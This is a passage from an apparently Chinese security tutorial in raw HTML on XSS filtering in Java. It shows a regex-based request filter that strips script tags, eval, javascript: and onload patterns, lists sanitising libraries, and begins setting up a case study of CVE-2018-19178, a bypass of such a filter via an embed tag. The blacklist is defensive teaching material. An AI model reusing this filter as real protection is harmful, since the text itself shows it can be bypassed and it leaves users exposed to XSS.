border-box;color: rgb(204, 153, 204);">for</span> (<span style="box-sizing: border-box;color: rgb(204, 153, 204);">int</span> j = <span style="box-sizing: border-box;color: rgb(249, 145, 87);">0</span>; j &lt; i; j++){<br/>            arrayOfString2[j] = xssClean(arrayOfString1[j]);<br/>        }<br/>        <span style="box-sizing: border-box;color: rgb(204, 153, 204);">return</span> arrayOfString2;<br/>      }<br/>      <span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">public</span> String <span style="box-sizing: border-box;color: rgb(181, 189, 104);">getParameter</span><span style="box-sizing: border-box;">(String paramString)</span><br/>      </span>{<br/>        String str = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">super</span>.getParameter(paramString);<br/>        <span style="box-sizing: border-box;color: rgb(204, 153, 204);">if</span> (str == <span style="box-sizing: border-box;color: rgb(204, 153, 204);">null</span>)<br/>          <span style="box-sizing: border-box;color: rgb(204, 153, 204);">return</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">null</span>;<br/>        <span style="box-sizing: border-box;color: rgb(204, 153, 204);">return</span> xssClean(str);<br/>      }<br/>      <span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">public</span> String <span style="box-sizing: border-box;color: rgb(181, 189, 104);">getHeader</span><span style="box-sizing: border-box;">(String paramString)</span><br/>      </span>{<br/>        String str = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">super</span>.getHeader(paramString);<br/>        <span style="box-sizing: border-box;color: rgb(204, 153, 204);">if</span> (str == <span style="box-sizing: border-box;color: rgb(204, 153, 204);">null</span>)<br/>          <span style="box-sizing: border-box;color: rgb(204, 153, 204);">return</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">null</span>;<br/>        str = str.replaceAll(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;\r|\n&#34;</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;&#34;</span>);<br/>        <span style="box-sizing: border-box;color: rgb(204, 153, 204);">return</span> xssClean(str);<br/>      }<br/>      <br/>      <br/>      <span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">private</span> String <span style="box-sizing: border-box;color: rgb(181, 189, 104);">xssClean</span><span style="box-sizing: border-box;">(String value)</span> </span>{<br/>        <span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">//ClassLoaderUtils.getResourceAsStream(&#34;classpath:antisamy-slashdot.xml&#34;, XssHttpServletRequestWrapper.class)</span><br/>        <span style="box-sizing: border-box;color: rgb(204, 153, 204);">if</span> (value != <span style="box-sizing: border-box;color: rgb(204, 153, 204);">null</span>) {<br/>            <span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">// <span style="box-sizing: border-box;color: rgb(138, 190, 183);">NOTE:</span> It&#39;s highly recommended to use the ESAPI library and</span><br/>            <span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">// uncomment the following line to</span><br/>            <span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">// avoid encoded attacks.</span><br/>            <span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">// value = encoder.canonicalize(value);</span><br/>            value = value.replaceAll(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;\0&#34;</span>, <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;&#34;</span>);<br/>            <br/>            <span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">// Avoid anything between script tags</span><br/>            Pattern scriptPattern = Pattern.compile(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;&lt;script&gt;(.*?)&lt;/script&gt;&#34;</span>,<br/>                    Pattern.CASE_INSENSITIVE);<br/>            value = scriptPattern.matcher(value).replaceAll(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;&#34;</span>);<br/>            <span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">// Avoid anything in a src=&#39;...&#39; type of expression</span><br/>            scriptPattern = Pattern.compile(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;src[\r\n]*=[\r\n]*\\\&#39;(.*?)\\\&#39;&#34;</span>,<br/>                    Pattern.CASE_INSENSITIVE | Pattern.MULTILINE<br/>                            | Pattern.DOTALL);<br/>            value = scriptPattern.matcher(value).replaceAll(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;&#34;</span>);<br/>            <span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">// Avoid anything in a href=&#39;...&#39; type of expression</span><br/>            scriptPattern = Pattern.compile(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;href[\r\n]*=[\r\n]*\\\&#34;(.*?)\\\&#34;&#34;</span>,<br/>                                Pattern.CASE_INSENSITIVE | Pattern.MULTILINE<br/>                                        | Pattern.DOTALL);<br/>            value = scriptPattern.matcher(value).replaceAll(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;&#34;</span>);<br/>            <br/>            <span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">// Remove any lonesome &lt;/script&gt; tag</span><br/>            scriptPattern = Pattern.compile(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;&lt;/script&gt;&#34;</span>,<br/>                    Pattern.CASE_INSENSITIVE);<br/>            value = scriptPattern.matcher(value).replaceAll(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;&#34;</span>);<br/>            <span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">// Remove any lonesome &lt;script ...&gt; tag</span><br/>            scriptPattern = Pattern.compile(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;&lt;script(.*?)&gt;&#34;</span>,<br/>                    Pattern.CASE_INSENSITIVE | Pattern.MULTILINE<br/>                            | Pattern.DOTALL);<br/>            value = scriptPattern.matcher(value).replaceAll(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;&#34;</span>);<br/>            <span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">// Avoid eval(...) expressions</span><br/>            scriptPattern = Pattern.compile(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;eval\\((.*?)\\)&#34;</span>,<br/>                    Pattern.CASE_INSENSITIVE | Pattern.MULTILINE<br/>                            | Pattern.DOTALL);<br/>            value = scriptPattern.matcher(value).replaceAll(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;&#34;</span>);<br/>            <span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">// Avoid expression(...) expressions</span><br/>            scriptPattern = Pattern.compile(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;expression\\((.*?)\\)&#34;</span>,<br/>                    Pattern.CASE_INSENSITIVE | Pattern.MULTILINE<br/>                            | Pattern.DOTALL);<br/>            value = scriptPattern.matcher(value).replaceAll(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;&#34;</span>);<br/>            <span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">// Avoid javascript:... expressions</span><br/>            scriptPattern = Pattern.compile(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;javascript:&#34;</span>,<br/>                    Pattern.CASE_INSENSITIVE);<br/>            value = scriptPattern.matcher(value).replaceAll(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;&#34;</span>);<br/>            <span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">// Avoid vbscript:... expressions</span><br/>            scriptPattern = Pattern.compile(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;vbscript:&#34;</span>,<br/>                    Pattern.CASE_INSENSITIVE);<br/>            value = scriptPattern.matcher(value).replaceAll(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;&#34;</span>);<br/>            <span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">// Avoid onload= expressions</span><br/>            scriptPattern = Pattern.compile(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;onload(.*?)=&#34;</span>,<br/>                    Pattern.CASE_INSENSITIVE | Pattern.MULTILINE<br/>                            | Pattern.DOTALL);<br/>            value = scriptPattern.matcher(value).replaceAll(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;&#34;</span>);<br/>        }  <br/>          <span style="box-sizing: border-box;color: rgb(204, 153, 204);">return</span> value; <br/>          }<br/>}<br/></code></pre><p><span name="menu_index_9" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h3 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 15px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">2、使用工具类xssProtect</h3><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">这是谷歌提供的一个用于过滤来自用户输入字段的XSS攻击的Java库</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><a href="https://code.google.com/archive/p/xssprotect/" target="_blank">https://code.google.com/archive/p/xssprotect/</a></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">项目中需要引入 <code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">xssProtect-0.1.jar</code>、<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">antlr-3.0.1.jar</code>、<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">antlr-runtime-3.0.1.jar </code>等3个 jar 包</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">简单用法如下：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);">protectedAgainstXSS（String html）{StringReader reader = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">new</span> StringReader（html）; StringWriter writer = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">new</span> StringWriter（）;<br/>  <span style="box-sizing: border-box;color: rgb(204, 153, 204);">try</span> {<br/>      <span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">// 从“ html”变量解析传入的字符串</span><br/>      HTMLParser.process( reader, writer, <span style="box-sizing: border-box;color: rgb(204, 153, 204);">new</span> XSSFilter(), <span style="box-sizing: border-box;color: rgb(204, 153, 204);">true</span> );<br/>      <span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">// 返回经过解析和处理的字符串</span><br/>      <span style="box-sizing: border-box;color: rgb(204, 153, 204);">return</span> writer.toString();<br/>  } <span style="box-sizing: border-box;color: rgb(204, 153, 204);">catch</span> (HandlingException e) {<br/>  }<br/>}<br/></code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">具体的使用方式可以参考：<a href="https://www.iteye.com/blog/liuzidong-1744023" target="_blank">https://www.iteye.com/blog/liuzidong-1744023</a></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">下载地址：</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><a href="https://code.google.com/archive/p/xssprotect/downloads" target="_blank">https://code.google.com/archive/p/xssprotect/downloads</a></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><a href="https://github.com/kennylee26/xssprotect" target="_blank">https://github.com/kennylee26/xssprotect</a></p><p><span name="menu_index_10" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h3 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 15px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">3、commons.lang包</h3><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">在这个包中有个StringUtils 类，该类主要提供对字符串的操作，对null是安全的，主要提供了字符串查找、替换、分割、去空白、去掉非法字符等等操作。存在三个函数可以供我们过滤使用。</p><ul style="margin-bottom: 1.2em;margin-left: 1.3em;list-style-position: initial;list-style-image: initial;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;"><p>StringEscapeUtils.escapeHtml(string)<br style="box-sizing: border-box;"/>使用HTML实体，转义字符串中的字符。</p></li></ul><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">如：</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">会把</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">&#34;bread&#34; &amp; &#34;butter&#34;</code></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">变成：</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">&amp;quot;bread&amp;quot; &amp;amp; &amp;quot;butter&amp;quot;</code></p><ul style="margin-bottom: 1.2em;margin-left: 1.3em;list-style-position: initial;list-style-image: initial;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;"><p>StringEscapeUtils.escapeJavaScript(string)</p></li></ul><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">使用JavaScript字符串规则转义字符串中的字符。</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">如：</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">会把</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">input string: He didn&#39;t say, &#34;Stop!&#34;</code></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">变成：<br style="box-sizing: border-box;"/><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">output string: He didn\&#39;t say, \&#34;Stop!\&#34;</code></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">更多的方法和效果可以参考：</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);"><a href="http://commons.apache.org/proper/commons-lang/javadocs/api-2.6/org/apache/commons/lang/StringEscapeUtils.html" target="_blank">http://commons.apache.org/proper/commons-lang/javadocs/api-2.6/org/apache/commons/lang/StringEscapeUtils.html</a></p><p><span name="menu_index_11" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h2 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 22px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">0x04 实际案例（CVE-2018-19178）分析</h2><p><span name="menu_index_12" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h3 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 15px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">1、案例介绍</h3><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">CVE 地址：<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-19178" target="_blank">https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-19178</a></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">JEESNS是一款基于JAVA企业级平台研发的社交管理系统，在JEESNS 1.3中，<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">com/lxinet/jeesns/core/utils/XssHttpServletRequestWrapper.java </code>允许通过html 中的&lt;<span style="box-sizing: border-box;font-weight: inherit;color: rgb(0, 0, 0);">embed</span>&gt; 标签插入XSS攻击代码。</p><p><span name="menu_index_13" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h3 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 15px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">2、案例搭建</h3><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">去官网下载 v1.3版本的 OFCMS，打开 idea，点击<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">import project</code>，选择<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">import project from external model</code>中的<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">Maven</code>，然后一路默认即可（具体过程在系列 文章 02 中有说明，可以查看）。</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">导入后软件会自动下载需要的 jar 包：</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.6640806826997673" data-s="300,640" style="" data-type="png" data-w="2578" src="https://wechat2rss.xlab.app/img-proxy/?k=5494808f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB1LMhEauia72ao9ib4HPicZ4fVfUMjkCVc8Cyr9iaJXVFW1fRYerPJZ6iajaw%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, 